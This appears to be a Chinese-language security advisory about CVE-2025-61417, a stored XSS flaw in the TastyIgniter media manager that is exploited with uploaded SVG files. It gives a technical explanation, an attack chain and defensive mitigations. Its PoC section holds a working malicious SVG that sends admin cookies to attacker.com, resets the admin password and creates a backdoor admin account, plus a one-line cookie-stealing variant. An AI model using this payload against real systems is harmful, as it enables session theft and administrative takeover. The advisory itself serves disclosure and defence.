IPBUF安全漏洞报告
English
CVE-2025-61417 CVSS 8.8 高危

CVE-2025-61417 TastyIgniter媒体管理器跨站脚本漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-61417
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TastyIgniter

相关标签

XSS跨站脚本攻击CVE-2025-61417TastyIgniter存储型XSSSVG文件上传高危漏洞Web应用安全Laravel餐厅管理系统

漏洞概述

CVE-2025-61417是TastyIgniter 3.7.7版本中存在的跨站脚本(Cross-Site Scripting, XSS)漏洞,该漏洞位于管理后台的媒体管理器(/admin/media_manager)组件中。TastyIgniter是一款基于Laravel框架开发的开源在线订餐和餐厅管理系统,广泛应用于餐饮行业的线上点餐、外卖配送及门店管理场景。该漏洞允许攻击者通过上传包含恶意JavaScript代码的SVG文件来实施攻击。当管理员在后台预览该恶意SVG文件时,嵌入的JavaScript代码将在管理员的浏览器上下文中执行。由于执行环境具有管理后台的完整权限和会话凭据,攻击者可以利用此漏洞执行多种未授权操作,包括但不限于修改管理员账户凭据、篡改系统配置、窃取敏感数据、植入后门或进一步提权获取服务器控制权。CVSS 3.1评分为8.8分,属于高危级别漏洞,其攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞的披露时间为2025年10月20日,由[email protected]报告,对使用TastyIgniter 3.7.7及可能更早版本的企业和组织构成严重安全威胁。

技术细节

该漏洞的根本原因在于TastyIgniter媒体管理器组件未对用户上传的SVG文件进行充分的安全过滤和内容消毒。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,其本身支持嵌入JavaScript脚本和事件处理器(如onload、onclick等),这使得SVG文件本质上具有执行脚本的能力。

漏洞利用的技术原理如下:

1. **文件上传绕过**:TastyIgniter的媒体管理器允许管理员上传各种类型的媒体文件,但未对SVG文件的内容进行安全检查,仅依赖文件扩展名或MIME类型进行简单验证,攻击者可以上传包含恶意脚本的SVG文件。

2. **SVG内嵌脚本执行**:SVG文件是XML格式的文档,可以在其中嵌入`<script>`标签或使用事件属性(如`<svg onload='alert(1)'>`)来执行JavaScript代码。当浏览器渲染SVG文件时,会自动执行其中的脚本。

3. **存储型XSS触发**:当恶意SVG文件被上传到媒体管理器后,存储在服务器上。当管理员在后台预览该文件时,浏览器加载并渲染SVG,恶意脚本在管理员的浏览器会话中执行,此时脚本继承了管理员的权限和会话Cookie。

4. **权限提升与持久化**:由于脚本在管理员上下文中执行,攻击者可以执行任意管理操作,如修改管理员密码、添加新的管理员账户、修改系统设置、上传Web Shell等,从而实现从XSS到完全控制服务器的权限提升链。

5. **CSRF令牌窃取**:攻击者还可以利用JavaScript窃取CSRF令牌或会话Cookie,结合其他攻击技术实现更广泛的入侵。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者首先需要获取TastyIgniter系统的低权限账户(如普通员工或注册用户账户),该账户应具有访问管理后台媒体管理器的权限,或者通过社会工程学诱导管理员上传文件。
STEP 2
步骤2:制作恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件,代码中包含窃取Cookie、修改管理员凭据或创建后门账户的逻辑。
STEP 3
步骤3:上传恶意SVG文件
攻击者通过TastyIgniter管理后台的媒体管理器(/admin/media_manager)组件上传恶意SVG文件。由于系统未对SVG内容进行安全过滤,文件被成功存储到服务器。
STEP 4
步骤4:触发XSS执行
当管理员在后台预览该SVG文件或该文件被自动渲染时,浏览器解析SVG并执行其中嵌入的JavaScript代码,脚本以管理员的权限和会话上下文运行。
STEP 5
步骤5:权限提升与数据窃取
恶意脚本利用管理员权限修改管理员账户凭据、创建新的管理员后门账户、窃取敏感数据或上传Web Shell,实现对系统的完全控制。
STEP 6
步骤6:持久化与横向移动
攻击者通过创建的隐藏管理员账户维持持久访问,并进一步在服务器内部进行横向移动,窃取数据库、支付信息等敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-61417 PoC: Malicious SVG file for Stored XSS via Media Manager --> <!-- Upload this file via /admin/media_manager to trigger XSS when admin previews it --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500" onload="executeXSS()"> <script type="text/javascript"> // <![CDATA[ function executeXSS() { // Step 1: Steal admin session cookies var cookies = document.cookie; // Step 2: Exfiltrate cookies to attacker's server var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(cookies); // Step 3: Change admin credentials via AJAX var xhr = new XMLHttpRequest(); xhr.open("POST", "/admin/account", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("username=admin&[email protected]&password=Pwned123!"); // Step 4: Create a new admin account for persistence var xhr2 = new XMLHttpRequest(); xhr2.open("POST", "/admin/staffs", true); xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr2.send("name=backdoor&[email protected]&password=Backdoor123!&role_id=1"); } // ]]> </script> <rect x="0" y="0" width="500" height="500" fill="white"/> <text x="50" y="250" font-size="20">Image Preview</text> </svg> <!-- Alternative simpler PoC using event handler --> <!-- <svg xmlns="http://www.w3.org/2000/svg" onload="document.location='https://attacker.com/steal?c='+document.cookie"> <rect width="100" height="100" fill="red"/> </svg> -->

影响范围

TastyIgniter 3.7.7

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对媒体管理器上传功能进行限制,临时禁用SVG文件的上传;2)通过Web服务器配置(如Nginx/Apache)为SVG文件设置Content-Security-Policy头,禁止内联脚本执行;3)在Nginx中添加配置`add_header Content-Security-Policy "default-src 'self'; script-src 'none'"`,使上传的SVG文件无法执行脚本;4)限制媒体管理器的访问权限,仅允许受信任的管理员使用;5)部署WAF规则检测和拦截包含恶意脚本的SVG文件上传请求;6)监控管理员账户的异常变更活动,及时发现潜在攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表